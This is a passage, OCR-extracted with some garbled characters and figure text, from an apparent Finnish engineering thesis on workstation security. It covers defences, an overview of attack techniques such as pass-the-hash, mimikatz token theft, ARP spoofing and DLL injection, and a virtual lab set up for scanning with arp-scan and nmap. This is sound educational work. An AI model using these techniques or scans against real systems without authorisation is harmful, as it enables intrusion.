tausvaiheessa. Virustorjuntaohjelma vertaa epailyttavad dataa ohjelman omaan kirjas-
toon, jossa silla on tietokanta haittaohjelmista ja -koodista. Virusten ja haitallisen sisal-
I6n havaittuaan se ehdottaa kayttajalle toimenpiteitd, kuten virusten laittamista karan-
teeniin, jossa niita voidaan tutkia. Virustorjuntaohjelma voi my6s ehdottaa poistamaan

ohjelman tai tiedoston.

Virustorjuntaohjelmien suurimmat uhat ovat nollapaivahaavoittuvuudet (Zero-day). Niita
vastaan on vaikea puolustautua, koska kyseessa on uusi haavoittuvuus, josta virustor-
juntaohjelmalla ei ole viela naytetta. Virustorjuntaohjelma tarvitsee sisdiseen kirjas-
toonsa haittaohjelmista naytteita, joihin se vertaa kerattyja naytteita liikkenndivasta da-
tasta. Nollapadivahaavoittuvuuksia vastaan voidaan taistella sulkemalla kokonaan paasy
tunnettuihin hyokkayskohteisiin tai kohteisiin, joita kayttajat harvoin kayttavat. Nain mi-
nimoidaan mahdolliset kohteet, joista saattaisi 10ytya uusi haavoittuvuus. Kun laillinen
ohjelma haluaa kayttaa tiettyd polkua, se voidaan sallia ohjelmalle. Suuri Signature-

tietokanta tekee virtustorjuntaohjelmasta arvokkaamman kuin haittaohjelmatietokanta.

5.4 IDS eli tunkeilijan havaitsemisjarjestelméa

IDS (Intrusion Detection System) eli tunkeilijan havaitsemisjarjestelma tarkkailee jarjes-
telmaa automaattisesti ja antaa halytyksia poikkeavasta kaytoksesta. Perinteisin ha-

vaitsemisjarjestelma perustuu lokitietojen auditointiin. Ajatuksena on muodostaa profii-
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leja ja etsia niista poikkeavaa tai epatavallista toimintaa. Esimerkiksi toistuvat, epaon-
nistuneet sisaankirjautumisyritykset ovat selked merkki joko hajamielisesta kayttajasta
tai murtoyrityksesta. Lokien tarkkailuun voidaan yhdistaa myos asianyhteyksien tarkkai-
lu. Esimerkiksi kulunvalvonta tietdd henkildn saapuneen tydpaikalle ja hanen kirjautu-
misensa tydasemalle on odotettavissa. Kirjautuminen ilman saapunutta tietoa tyopai-
kalle tulosta on epailyttavada. Tiedostojen eheyden saavuttamiseksi voidaan laskea
tarkistussummia tiedostoista. Sovellus laskee aika ajoin tiedostoista tarkistussummat ja

vertaa niita tietokannassa oleviin tiedostoihin.

Verkkopohjaisissa havaitsemisjarjestelmissa verkkoon asetetaan tietokone sensoriksi,
joka kuuntelee ja analysoi tietoliikennettd. Sensori asetetaan mahdollisimman huo-
maamattomasti verkkoon, jotta tunkeutuja ei huomaisi sen olemassaoloa. Laite piilote-
taan joko jattamalla verkkosovitin ilman IP-osoitetta tai naamioidaan laite reitittimeksi
tai sillaksi. Tietoliikennetta kuunteleva havaitsemisjarjestelma analysoi paketteja etsien
epdilyttavaa sisaltbd. Tama tehdaan kaytannotssad hakemalla hydkkayksille tyypillisia
sormenjalkia samaan tapaan kuin virustorjunnassa. Havaitsemisjarjestelmien pitaa olla

ajan tasalla parhaan tuloksen saamiseen. [8.]

5.5 Kayttojarjestelman koventaminen

Kayttojarjestelman koventamisen perusidea on turhan toiminnallisuuden poistaminen ja
turvattomien oletusarvojen muuttaminen turvallisiksi. Kayttéjarjestelman koventaminen
mahdollistaa erilaiset tydtavat, kuten etatytn ja etdkaytdn. Kayttdjarjestelman koven-
taminen voidaan aloittaa kynnistysasetusten ja muiden asetusten vakioinnilla ja lukit-
semisella. Esimerkiksi voidaan estaa BIOS-kaynnistysasetusten ohittaminen tai kiinto-
levyn salaaminen siten, etta salatulle levylle on paasy vain organisaatiolla ja kayttajalla,
jolla on salasana levylle. Myds kayttajien kayttdoikeudet tulisi rajoittaa minimiin. Oi-
keuksia voidaan nostaa tarpeen mukaan mydhemmin. Jarjestelman kaytettavien oh-

jelmistojen maaran minimointi voidaan tehda osana vakiointia.

Selaimen koventaminen voidaan aloittaa perusasetusten muokkaamisella. Esimerkiksi
voidaan estéa tunnusten ja salasanojen muistaminen selaimessa, lisdosien kayttokoh-
teet (mm. Java, Flash, Silverlight) ja verkkosivun lisdéaminen luotettuihin sivuihin. Kun

kovennetaan yleisia ohjelmia, kuten sahkopostiohjelmistoa, PDF-lukijaa tai jotakin toi-
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misto-ohjelmaa, tulee miettid ohjelman kayttétarkoitus ja tarvittavat asetukset. Muun
muassa Adobe Readerin asetuksissa on oletuksena JavaScript paalla, mutta sitéa har-
vemmin tarvitaan. TAma saattaa altistaa lukijan JavaScript-haavoittuvuuksille. Win-
dows-tydasemaympadristossad kannattaa koventamisessa maaritella tybaseman lokiin
kerattavat tapahtumat (suojaus- eli Security-lokin valvontakaytannét). Myds sallittujen
sovellusten, skriptien seka asennustiedostojen maaritteleminen kannattaa tehda. Esi-
merkiksi Applocker-toiminnallisuudella estetddn kaikki muut ja vain erikseen sallituista
poluista tai listalla olevat ohjelmistot saavat suoritusoikeuden kayttajatason tunnuksilla.
Myds itse sisdverkolle tulisi maarittda perus-, korotetun ja korkean tason vaatimukset.
[33.]

5.6 Tietoturvatarkastukset

Tietoturvatarkastusten ideana on itse selvittad, mitd omasta ymparistosta nakyy ulos-
pain (internetiin). Periaate on testata ymparistoa ja etsia haavoittuvuuksia. Etsitaan
esimerkiksi portteja, jotka ovat voineet jadda auki ja joista on mahdollista paasta sisaan
sisaverkkoon. Etsitdan myos arkaluonteisia laitteita, joiden ei pitdisi nakya siséverkon
ulkopuolelle, ja jarjestelmien yleisia haavoittuvuuksia, joita raportoidaan maailmalta ja
joihin on ratkaisut. Tarkastusten padaasiallinen tehtdva on jarjestelmien heikkouksien
kirlaaminen ja ennakoiminen jarjestelmiin kohdistuviin hyokkayksiin. Esimerkiksi jos
huomataan jarjestelmasta avoin TCP-portti, jota ei yksikaan haluttu palvelu kayta, portti
kannattaa sulkea varmuuden vuoksi. Useimmat hyokkaykset kayttavat avoimia TCP-
portteja hyddyksi. Nain voidaan ennakoida kyseiseen porttiin kohdistuvat hyokkaykset

helposti vain yksinkertaisesti sulkemalla portti.

5.7 Hyokkayksen tunnistaminen ja reagointi

Lahes kaikilla organisaatioilla on hallussaan arvokasta tietoa, josta ulkopuoliset voivat
hy6tyd. Hyva strategia tiedon suojaamiselle on tunnistaa omat kohteensa, joista voisi
laittomalla kaytolla hyétya (kuva 2). Tietoturvakonsultaatio on arvokasta organisaatioil-
le, jotta voidaan tiedostaa puutteellinen kyky havaita hyokkaykset ja kaynnistaa toi-

menpiteet, joilla reagoidaan havaittuun hydkkaykseen. [37.]
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Kyberturvallisuuskeskus - Kohdistettujen haittaohjelmahydkkayksien uhka on otettava vakavasti

« Innovaatiot
« Sopimukset
E— * Verkkoresurssien
* Havaitsemisaika B hyédyntaminen
* Toimenpiteiden > * "Tiedan, ettet tieda,
suunnitelmallisuus 4 ja kaytén sita
hyvaksi."

/« Tekniset valmiudet

* Henkiloston
osaaminen

VALMIUDET

Havainto- &
reagointikyky

TEKNIIKKA

Verkon rakenne
& yllapito

e Jarjestelmien ika 3 » Asiakkaat

« Kaytetyt * Alihankintaketjut

ohjelmistot ¢ Yhteistyoverkostot

« Verkon sisainen » Kenen kanssa

rakenne kommunikoidaan?
C Verkkoyhteydet

Kuva 2. Organisaatioon kohdistuvan haittaohjelmahytkkéayksen uhkaan vaikuttavia tekijoité
[37].

Kun haavoittuvat ja arvokkaat kohteet on tunnistettu, voidaan suunnitella palautusme-
netelmia jarjestelmalle hyokkayksen sattuessa. Havainnointi vaatii aktiivista toimintaa
ja koulutettua henkilokuntaa. Osaava henkilokunta tuntee verkkonsa liikkennevirran ja
perustoiminnot, jolloin voidaan havaita poikkeustilanteita ja reagoida nopeasti. Henkil6-
kunnan tulee osata tulkita varoituksia ja tunnistaa tunkeutumisyritykset sekéa mahdolli-
set toiminnassa olevat haittaohjelmat. Organisaation havaitessa epéilyttavia tunnus-
merkkeja epaillystd hyokkayksesta on suotavaa jakaa tieto keskitetylle toimijalle, kuten
Kyberturvallisuuskeskukselle. Hyvat valmiudet ennakoida hyokkaykset vahvistavat or-
ganisaation tietoturvaa ja samalla tehdaan hyokkaajan nakokulmasta kohteesta epéa-
miellyttdva. Kohdistettu hyokkays havaitaan usein sisdaisesti tai ulkopuolisen vihjeesta.
Toimenpiteiden tulee olla harkittuja ja suunnitelmallisia, jotta ei tehda paniikkiratkaisuja,
joilla tuhotaan hyokkaykseen liittyvia tarkeita todisteita. Reagoivien toimenpiteiden vai-

heita ovat seuraavat:
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1. Kirjaa - lokit, likenneseuranta, paatelaitteiden toiminta.
2. Tiedota - siséisesti, Kyberturvallisuuskeskus, Poliisi.

3. Toimi - hanki tarvittaessa ammattitaitoista apua, selvité laajuus ja rajaa vahingot.

Palautustoimenpiteet tulee suorittaa heti, kun on havaittu, etta jarjestelmaan on onnis-
tuttu hyokkaamaan. Hyokkayksen kohteeksi joutuneeseen jarjestelméan on vaikea
enaa luottaa, joten valittdmat muutostarpeet ovat verkon siivoaminen ja seuranta seka
luotettavuuden arvio. Varmin tapa hyokkaajan poissulkemiseksi on rakentaa uusi verk-
ko. Tunkeutuja on mahdollisesti asentanut takaovia, paasyoikeuksia ja haitallista koo-
dia vanhoihin tietoihin, joten vanhan jarjestelman integrointi uuteen jarjestelmaan vaatii

suunnitelmallisuutta ja on toteutettava huolellisesti. [37.]

6 Hyokkaystekniikoita

6.1 Hyokkayksen rakenne

Tybasemiin kohdistunut hydkkays koostuu eri vaiheista ja mahdollisuuksista. Hytkkays
etenee vaihe vaiheelta, joka vaatii hyokkaajalta pitkajanteisyytta. Hyokkayksen rakenne

VOi ndyttaa seuraavalta:

Tiedustelu

Kayttden sahkdposti-, web- tai USB-l&hestymistapaa

Toimitus

Kayttaen sahkoposti-, web- tai USB-lahestymistapaa

Hyddyntaminen

Kayttdjan manipulointi, konfigurointivirheet tai haavoittuvuuden hyvaksikayttd (exploits)

Hyokkayksen jatkuvuus

Useiden paasykohtien hallinta.
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Hallinta

Kohdeympariston hallinta etana.

Sivuttaissiirtyma

Haavoittuvuuden tunnistaminen, kayttajaoikeuksien nostaminen.

Tavoite

Datan varastaminen, tuhoaminen tai muuttaminen.

6.2 Kohteen Idytdminen

Hyokkaykset aloitetaan yleensa kohteen tunnistamisella, on kyseessa sitten ihminen tai
kone. Henkildsta tai koneesta pyritaan 1oytdmaan mahdollisimman paljon informaatiota
ja heikkouksia. Kun kohde on saatu kartoitettua tarpeeksi hyvin, seuraavaksi aletaan
miettid hyokkaysmetodia ja l&ahestymistapaa. Esimerkiksi, jos halutaan saada yrityksen
markkinointisuunnitelmat selville, kannattaa lahestya kyseisen osastonjohtajaa tai vas-
taavaa henkil6d, koska hanella on todennékdisesti paljon oikeuksia osaston jarjestel-

maan. Kohteena on henkilon tydasema, johon lahdetéadn kohdistamaan hydkkayksia.

Toinen tapa on, jossa yritetdan I6ytaa yrityksen laitteista heikoin lenkki. Etsinnan jal-
keen l6ydetddn vanha haavoittuvainen tyéasema yrityksen verkosta. Tama antaa mah-
dollisuuden hytkata haavoittuneeseen tydasemaan ja mahdollisuuden sivuttaissiirtymi-
seen yrityksen verkon sisalla. Talla tavalla paastdan hyokkaamaan yrityksen sisalla
muihin jarjestelmiin. Esimerkiksi hakkerit eivat mielellaan lahde nykyaan kohdistamaan
hyokkaysta suoraan palvelimeen, vaan yrittavat saada ensin jalansijan ty6asemaan.
Tybasemasta on mahdollista paasta kasiksi palvelimeen sivuttaissiirtymalla. Tama on

huomattavasti helpompi reitti, kuin kohdata palvelimen suojaukset.

6.3 Spoofing attack eli huijaushytkkays

Spoofing attack on menetelmd, jossa hytkkaaja lahestyy kohdettaan luotettavana toi-
mijana. Esimerkiksi luotettavan nakoinen sahkdpostin liitetiedosto tai viestin mielenkiin-
toinen sisaltd voi saada kayttajan avaamaan viestin sallien haittaohjelmien levidmisen

koneelle.
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Spoofing attack on yksi kayttdjan manipuloinnin (social engineering) lahestymistapa.
Spoofing attack on yksi yleisimmin k&ytetyista tekniikoista sen helppokayttdisyyden
vuoksi. Hyokkaaja voi automatisoida hyokkayksen tai valita tarkasti tavan, jolla saa
kohteensa erehtymaén. Tarkasti suunnitellussa hytkkayksessa kohteen kayttamat jar-
jestelmat, ohjelmat ja tekemiset on selvitetty. Talléin hyokkaajan kayttama lahde vies-

tissa on muokattu muistuttamaan kohteen tuntemia lahteita.

Email spoofing eli sahkdpostihuijaus

Email spoofingin ideana on lahettaa sahkoposti, joka nayttaa tulevan luotettavasta lah-
teestd. Talla menetelmalla saadaan kohde kiinnostumaan viestin sisallosta. Tata meto-
dia kaytetaan yleensa phishing- ja spam-viestien lahettamisessa. Tdméa on mahdollista,
koska SMTP-protokollassa ei ole osoitteen autentikointia, jolla pystyttaisi varmistamaan
viestin alkuperd. Kohdistettu hyokkéays toteutetaan useasti sdhkopostin valitykselld, ja
hyokkayksessa pyritddn saamaan kohde klikkaamaan liitetiedostoa tai linkkia, joka
sisdltda haittaohjelman. Haittaohjelma asentuu koneelle ja alkaa suorittaa ohjelmaa,
joka ottaa koneen haltuunsa. Kohdehenkild ei todennakdisesti huomaa, etta hanen
koneeseensa on juuri hakkeroitu ja hyokkaajalla on paasy koneen resursseihin. Taman
takia ei kannattaisi koskaan avata liitetiedostoja, jos ei ole aivan varma lahettgjasta ja
siséllosta. Helpoin tapa varmistaa epavarmassa tilanteessa viestin sisaltd oikeaksi, on

ottaa henkil6on yhteytta ja varmistaa viestin tulleen hanelta. [1.]

IP spoofing eli IP-osoitehuijaus

IP spoofing -tekniikassa hyotkkaaja naamioituu luotettavaksi lahteeksi ja salaa oikean
identiteettinsd. Hyokk&aja kopioi luotettavan lahteen IP-osoitteen ja muokkaa lahetetta-
van paketin otsikkoa, jotta han saa luotettavan lahteen osoitteen ndkymaan lahettdja-
na. Kun uhri kirjoittaa osoitteen tai klikkaa linkkid, joka vaikuttaa oikealta verkkosivulta,
han joutuukin vaarennetylle sivulle. Sivu muistuttaa todennékoisesti paljon olemassa
olevaa aitoa sivua. Kun uhri esimerkiksi selailee sivuja, syottdd tunnuksia tai luottokort-
tinumeronsa, hyokkadja saa ne kasiinsa. Jo pelkéstaan sivulle tuleminen voi altistaa
koneen haitalliselle ohjelmalle, joka kaappaa koneen haltuunsa kayttagjan huomaamat-
ta. Sivulla voi tulla esimerkiksi kehotuksia suorittaa Java-liitannaisia, jotka ovat toden-
nakoisesti haitallisia. Helppoja tapoja varmistaa yleisten sivujen aitous ovat lukon kuva
selaimen URL-kentassa tai se, etta sivu alkaa HTTPS-tunnuksella. Naméa tunnukset
viittaavat sivulle myoénnettyyn sertifikaattiin ja salaukseen, jota kaytetdan verkkoliiken-

teessa. [2.]
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6.4 Dropper-menetelméa

Dropperin tehtdvana on asentaa haittaohjelma, joka kantaa viruksia, takaovia ja muita
haitallisia ohjelmistoja. Dropper itsesséén ei tee haittaa jarjestelmalle, mutta sen haital-
linen kuorma asentuu jarjestelméaan huomaamattomasti. Dropperit yleensa naamioitu-
vat ja piiloutuvat tietokoneen kansioihin, joten ne nayttavat aivan tavallisilta ohjelmilta ja
tiedostoilta. Yksikin dropper voi kantaa useita haittaohjelmia ja ominaisuuksia, joilla
voidaan esimerkiksi piiloutua virustorjuntaohjelmistolta ja suorittaa huomaamaton
asennus jarjestelmé&an. Dropperit ovat usein mukana email spoofing -hyokkayksessa.

Haitallinen ohjelma on yleensa troijalainen, joka yrittdd saada jarjestelman haltuunsa.

[5.]

6.5 Sivuttaissiirtyma

Sivuttaissiirtyma (Lateral movement) alkaa haavoittuvuuden paikantamisella kohteen
jarjestelmastd, joka mahdollistaa paasyn jarjestelméan sisaan. Taman jalkeen alkaa
varsinainen sivuttaissiirtyma, jossa ideana on liikkua jarjestelman tai verkon sisalla
muihin kohteisiin. Siirtymé&n tarkoitus on 16ytaa reitti arvokkaaseen dataan. Arviolta 80
prosenttia hydkkaysajasta kuluu sivuttaissiirtymassa, koska prosessi on hidasta ja
hyokkaajan on liikuttava nakymattomasti. Sivuttaissiirtymén strategia on useasti sa-
manlainen kuin on kohteen tunnistaminen, paasy jarjestelméaan, kayttajaoikeuksien

nostaminen ja tarkeiden tietojen anastaminen.

Sivuttaissiirtyman toteuttamiseen on monia eri tekniikoita ja taktiikoita. Seuraavaksi

kaydaan lapi yleisimpia tekniikoita ja hydkkayskohteita. [34.]

Psexec

Psexec sallii jarjestelmanvalvojan hallita Windows-jarjestelmid etaisesti terminaalin
avulla. Tama on hyodkkaajien suosiossa, koska talla pystytdan paivittdmaan, suoritta-
maan ja vaikuttamaan etand kohdekoneeseen. Koska tama toimii komentorivillg, voi-
daan kirjoittaa skriptid ja kohde ei saa edes halytyksia naista toimista. Koska kyseessa
on laillinen jarjestelmatyokalu edes virustorjunnat eivat noteeraa yleisia toimenpiteita.
[34.]
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Remote desktop
Remote desktop l6ytyy melkein jokaisesta Windows-versiosta ja mahdollistaa etayh-
teyden graafisella nakymalla kohteen tyopoydasta. Tama menetelma tarvitsee kayttaja-

tunnuksen ja salasanan,minka jalkeen hyokkaajalla on paasy tietoihin. [34.]

Powershell

Powershell on Microsoftin kehittdma toisen sukupolven komentotulkki, jossa voidaan
ajaa skripteja. Hyokkaajat ovat kayttdneet tatd muistin kayttajatietojen varastamiseen,
jarjestelman konfiguraatioiden muokkaamiseen ja liikkumisen automatisointiin jarjes-

telmasta toiseen. [34.]

Port-scan

Port-scanin tarkoituksena on skannata kohdeverkon portteja ja 16ytda avonaisia portte-
ja. Néaita avonaisia portteja voidaan hyddyntaa jarjestelmaan tunkeutumisessa. Skan-
nerilla etsitddn kiinnostavia palveluita, esimerkiksi web-sovelluksia, tietokantapalvelimia
ja toimintoja, jotka mahdollistavat etdkayton. Muun muassa Nmap on yksi yleisimmista

ohjelmista téssa tekniikassa. [34.]

Token stealing

Token stealing on varsin uusi tekniikka julkisella puolella, ja se on alkanut nékya use-
assa hyokkayksessa. Ideana on varastaa muistilohkosta tiketti (token), joka antaa oi-
keuksia hyokkagjalle. On olemassa tyOkaluja, joilla tdma sujuu huomaamattomasti.
Sellaiset tyokalut, kuin mimikatz tai Windows Credential Editor, voivat muun muassa
loytdad domainiin kuuluvat kayttdjat muistista, luoda Kerberos-tiketteja ja kasvattaa
hyokkaajan oikeuksia peruskayttgjan tasolta domain-jarjestelmanvalvojatasolle muu-

tamassa sekunnissa. [34.]

Pass-the-hash

Pass-the-hash tekniikalla hyokkaaja voi kayttdd salattua salasanan tiivistettd saadak-
seen paasyn etapalveluun tietamatta itse salasanaa. Hyokkaajan saatua salasanan
tiivisteen han pystyy syéttamaan tiivisteen palveluun ilman, ettd hanen tarvitsee kayttaa
erillisia tekniikoita salasanan murtamiseen. Hydkkaaja voi liikkua sisaverkossa esimer-
kiksi jarjestelménvalvojan oikeuksilla, jos hanella on hallussaan jarjestelmanvalvojan

tunnuksen tiivistefunktio (hash). [34.]
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Active directory eli aktiivihakemisto

Aktiivihakemiston avulla hyokkaaja saa tiedot verkosta, kayttgjista ja tietokoneista. Ta-
ma antaa valtavasti mahdollisuuksia tarkeiden kohteiden l6ytamisessa ja verkossa ete-
nemisessa kohteesta toiseen. Usein ensisijainen kohde on palvelin, joka vastaa auten-
tikointipyynt6ihin (domain controller) tai saavuttaa domain-jarjestelmanvalvojan (do-

main admin) oikeudet. [34.]

Network sniffing

Network sniffingin tehtdvané on monitoroida verkon datavirtausta reaaliajassa. Network
sniffer voi olla laite tai pelkka ohjelmisto. Hydkkaajat pyrkivat laittamaan nama yleensa
paljon liikkenndivan palvelimen reitille, jotta paastaisiin kasiksi asiakkaiden tunnuksiin ja
muihin tietoihin. Yleensa kyseesséa on niin sanottu man-in-the middle -hytkkays, jossa

hyokkaaja kuuntelee lilkkennettd kahden koneen valilla. [34.]

ARP spoofing

ARP spoofingin perusidea on kehittdd suuri maara tekaistuja ARP-pyyntdja ja -
vastauksia. Nain hyokkagjalla on mahdollisuus paastd kommunikaation valiin ja saa-
daan aikaan man-in-the middle -hyokkays. Taté tekniikkaa voidaan kayttad myos mui-

hin hydkkayksiin, kuten palvelunestohyokkayksiin tai session kaappaukseen. [34.]

Admin shares

Admin shares antavat etdpaasyn jokaiselle paikalliselle levylle (esim. C:). Naihin eta-
paasyihin tarvitaan kuitenkin jarjestelméanvalvojan (Admin) oikeudet. Admin share on
tarked osa psexec-tyyppistd hyokkaysta, joka antaa tdyden paasyn %SYSTEM-
ROOT%-kansioon. Samanaikaisesti saadaan taydet luku- ja kirjoitusoikeudet kohdeko-
neen kiintolevyyn. Tama on taysin laillinen toimenpide, joten se on myds taysin huo-

maamaton. Tama metodi on tosi useasti kaytdssa useissa eri hyokkayksissa. [34.]

WMI

WMI eli Windows Management Instrumentation on suunniteltu hallinnoimaan Windows-
jarjestelman konfiguraatioita. Sita voi kayttaa etdkomentojen suorittamiseen, jarjestel-
matietojen tiedusteluun tai jopa haittachjelman tallentamiseen. Hyokkaajilla on monia

tapoja hyddyntaa tata tekniikkaa, esimerkiksi haittakoodin suorittamisessa. [34;18.]
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VNC, Ammy Admin ja Teamviewer

VNC, Ammy Admin ja Teamviewer ovat etdyhteyden luomiseen suunniteltuja ohjelmia,
jotka ovat mittavassa kaytossa yrityksilla, mutta myds hyokkaajilla. Hyokkaaja tarvitsee
jarjestelmanvalvojan tunnukset hyoddyntddkseen naitd ohjelmia kunnolla. Tunnukset
saatuaan hanella on oikeastaan paasy mihin vain jarjestelméan kohteen ymparistdssa.
Jos tamankaltaisia ohjelmia kayttaa, tulee pitdd tunnukset salassa ja jarjestelmien suo-

jaus kunnossa. [34.]

6.6 ROP-mitigation

Return-oriented programming (ROP) on hyokkaystekniikka, jossa hyokkaaja voi suorit-
taa haitallista koodia jarjestelman muistissa puolustusmekanismien huomaamatta.
Tassa tekniikassa hyokkadjan tavoitteena on kaapata jarjestelman kutsupino (call
stack), joka ohjaa prosessien ja ohjelmien kontrollivuota. Kutsupino maaréaé prosessien
funktioiden jarjestyksestad ohjelman suorituksen aikana. ROP-tyOkalun tai haittaohjel-
man rakenne perustuu luotettavan nakdiseen pinoon koodia, joka suoritettuna antaa
hyokkaajalle mahdollisuuden suorittaa haluamansa haitallisen kuorman kohtee-

seen.[19.]

6.7 DLL injection

DLL-injektio on yksi yleisimmin kaytetyistd hyokkaystekniikoista. Tekniikassa hyddyn-
netaan haavoittuvuutta, jonka avulla hydkkaaja suorittaa haitallista kuormaa toisen pro-
sessin osoiteavaruudessa pakottamalla sen asentumaan dynaamiseen linkkikirjastoon.
Dynaaminen linkkikirjasto on Microsoftin sovitus jaetusta ohjelmakirjastosta. DLL-
tiedostot voivat sisaltdd koodia, dataa ja resursseja joka muodossa. DLL-tiedoston
koodi jaetaan yleensa kaikkien niiden prosessien kesken, jotka kayttavat kyseista DLL-
tiedostoa. [38.] Niinpa se ei kayta kuin yhden paikan fyysisessa muistissa, johon haital-

lista kuormaa halutaan ajaa.

Esimerkiksi injektoitavan haittakuorman koi kytked jarjestelmén toimintaan vaativiin
funktioihin, kuten HKEY_LOCAL_MACHINE\SOFTWARE\Microsot\Windows-rekisteriin
ja lukea tekstiruudusta salasanan siséllon kayttden key logger -sovellusta Metasploitil-
la.
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7 Haavoittuvuustestaus

Tahan lukuun on keratty insindorityon testaustuloksia virtuaaliymparistoista. Hyokkayk-
set kohdistuivat siséaverkossa oleviin kohteisiin, jotka oli asennettu tata tyota varten.
Ensiksi havainnollistettiin ymparistd verkkoskannauksilla, minka jalkeen suunnittelimme
kohteisiin sopivia hydkkaysmenetelmid. Hyokkayksissa kaytimme kuvan 3. mukaista

kaavaa.

@ Valmistelu Tiedon kerdys
'@ O Menetelmat,
=N Aot aapks ) raataloint

@ 2x Verkkosivut,
sahkoposti,
usB

Tiedon haku,
2 e, i/. Jalkautuminen takaovien
S asennus
~
) 5 = Jalkien siivous
& Piiloutuminen jatkuvuus £
1

Kuva 3. Hyokkayksen toteutuksen vaiheet [37].

7.1 Virtuaalinen ymparist6

InsinGoritydssa kaytettiin virtuaalikoneita, joille asennettiin eri kayttojarjestelmat ja ase-
tukset. Kohdekoneisiin asennettiin kaksi Windows 7 -kayttojarjestelmaa, Ubuntu ja
Windows Server 2012. Metropolia Ammattikorkeakoulun tietohallinto tarjosi taman ym-
pariston Vmware Vspherelld insindoritydn k&ytannon osion toteuttamiseen. Jokaisessa
koneessa oli asennettu Vmware tools -paketti ja koneet olivat samassa verkossa siten,
etta ne nakivat toisensa. Ymparistdssa toinen Windows 7 -kone oli ilman palomuuria,
jotta siihen voitiin helpommin hydkéata ja eskaloida kayttéoikeudet hyokkaajalle. Toises-
sa Windows-koneessa oli palomuuri paalla, mutta TCP/SMTP/SNMP-liikenne oli sallit-
tuna, jotta samassa AD-vyOhykkeessa olevat koneet pystyivat l1ahettdd keskendan tie-
dostoja. Windows Server 2012 -koneeseen asennettiin Web-server (1IS), Mail Server

(SMTP) ja Active Directory (AD DS), jotta jokainen kone sallisi toisiinsa liikenteen ja
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tiedostojen jakamisen. Windows-palvelimesta olisi voitu monitoroida tilannekuvaa ja

tapahtumia.

Ympariston kuvaus ja staattiset IP-osoitteet ndkyvat kuvissa 4 ja 5 seka osoitteet sivul-
la 24.

Windows Server
2012

Windows 7-1 Windows 7-2 Ubuntu Kali Linux

Private LAN
Stl;el‘t

Kuva 4. Yksittainen tydymparisto.
Koulun verkosta voitiin paikallisella VClientilla avata yhteys virtuaalilaitteille.

= ==y e g =

Windows System Windows System s Windows Systern

Linux Server
I
Kali Lirnux Kali Linux

Kuva 5. Alkuperainen topologia.

TyOhon tarvittiin useita staattisia IP-osoitteita, jotta voitiin kohdistaa hyokkaykset ympéa-
ristbn tybasemiin. Staattiset osoitteet eli kiintedt IP-osoitteet tarvittiin, koska hyokkayk-
sien rakentaminen saattoi vieda aikaa. Nain pystyttiin helpottamaan prosessia, eika
tarvinnut tarkistaa kohteiden IP-osoitteita jatkuvasti. Seuraavaksi lista IP-osoitteista,

joita kaytettiin tyossa.
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Ville

10.114.48.180/24 win7-1
10.114.48.181/24 win7-2
10.114.48.182/24 ubuntu
10.114.48.211/24 ubuntu
Sebastian

10.114.48.183/24 win7-2
10.114.48.184/24 win7-1
10.114.48.185/24 ubuntu

DNS 193.167.197.100, 195.148.144.100
Default Gateway 10.114.48.1/24

7.2 Laitteiden ja porttien skannaus

Haavoittuvuustestaus aloitettiin ensin skannaamalla verkkoymparistbéa ja tutkimalla
kohteiden avoimia portteja. Sudo arp-scan <IP add - IP add>-komennolla saadaan

skannattua ARP-kyselyyn vastaavat laitteet, kuten kuvassa 6 on havainnollistettu.

8.180-10.114.48
B (Ethernet

yta-monitor.com/tools/arp-scan/)

eived by filte D S -~ el
n 1.9: 51 ho scanned in 1. seco 27 .38 hosts/sec). 11 responded

Kuva 6. ARP-kyselyyn vastaavat laitteet.

Ennen varsinaista hydkkaysta halusimme myos tietada, mitk& portit kohteesta ovat auki
ja mika kayttojarjestelma on kyseessa. Tama onnistuu nmap -sS <ip address> -O -

komennolla, joka on esitetty kuvassa 7.
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root@kali: ~ ®© ® ©
File Edit View Search Terminal Help
:~# nmap -sS 10.114.48.180 -0

Nmap 7.12 ( https://nmap.org ) at 2017-03-29 14:11 EEST
ort for 10.114
[ 0051s laten
990 closed ports
\ER”I(E

cpe:/o:microsoft:windows 7::spl cpe:/o:micro
pl (ue:/o microsoft:windows 8 cpe:/o: ml(rosoft:n-«’ir;ciO'-f.f-s

7 SPO - SP1l, Windows Server 2008 SP1l, Windows 8, or

detection performed. Please report any incorrect results at https://nmap.org/su

1 IP address (1 host up) scanned in 13.58 seconds

Kuva 7. Nmap-skannaus kohdekoneeseen (Win7-1).

Skannasimme myo6s Ubuntun portit (ks. liite 1). Ympéristoa skannaamalla saatiin kuva
verkostamme ARP-kyselyyn vastaavista virtuaalilaitteista. Todennékoisesti suurin osa

niistd on muiden opiskelijoiden projekteihin tarkoitettuja koneita.

7.3 Ympariston asetusten valmistelu

Kun olimme tutkineet ympaéristod, kavi ilmi, etta portit oli suodatettu testikoneistamme,
joten meidén piti itse asentaa koneet haluttuun tilaan. Meid&n piti my6s asentaa staatti-
set osoitteet laitteisiin, silla alun perin niilla oli DHCP:n jakamat osoitteet, jotka saattoi-

vat muuttua puolentoista tunnin véalein.

Tietohallinto ei ollut provisioinut riittavasti levytilaa Kali Linux -laitteelle. Ensimmaisen
paivityksen jalkeen ei pystynyt kirjautumaan koneelle, vaan laite jai jumiin kirjautuessa.
Paatimme muokata vikasietotilassa laitteen asennustiedostoja ja kokeiltiin tunnettua
korjausta: sudo nano /etc/modprobe.d/blacklist.conf

e add the line:

e Dblacklist i2c-piix4

e reboot
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Tarkistettiin laitteen lokitietoja ja nykyista versiota (ks. liite 2). Ajettiin suositellut ko-
mennot laitteelle, minka jalkeen laite ei ilmoittanut samaa vikaa, mutta edelleenkaan
koneelle ei paadssyt kirjautumaan. Kun tarkasteltiin verkon toimivuutta, ilmeni, ettei laite
ottanut verkkoon yhteytta (ks. liite 3). Taman vuoksi pdaivityskdan ei olisi voinut toimia
(ks. liite 4).

Tarkastettiin laitteen tdmanhetkinen versio komennolla uname -a ja pakotettiin laite

hakemaan verkon yhteyden uudelleen, kuten kuvassa 8 on esitetty.

Kuva 8. Service Network -managerin pakotettu uudelleenkéynnistys.

Kun pakottaa Service Network -managerin kaynnistyksen, laite hakee valittémasti vii-
meisimmat muutokset verkkoasetuksissa ja palauttaa verkkoyhteyden sekd huomaut-

taa, mikali yhteytta ei voida luoda.

Paatimme tarkastella lokista vikailmoituksia komennolla cat /var/log/Xorg.0.log | less

(ks. liite 5). Verkkoajurin uudelleen kaynnistyttya verkkoyhteys naytti olevan taas pys-
tyssa (ks. liite 6) ja pingit default gatewaylle onnistuivat (ks. liite 7). Kun verkkoyhteys
oli toiminnassa, padivitettiin jarjestelma komennolla sudo apt-get update. Se paivittyi
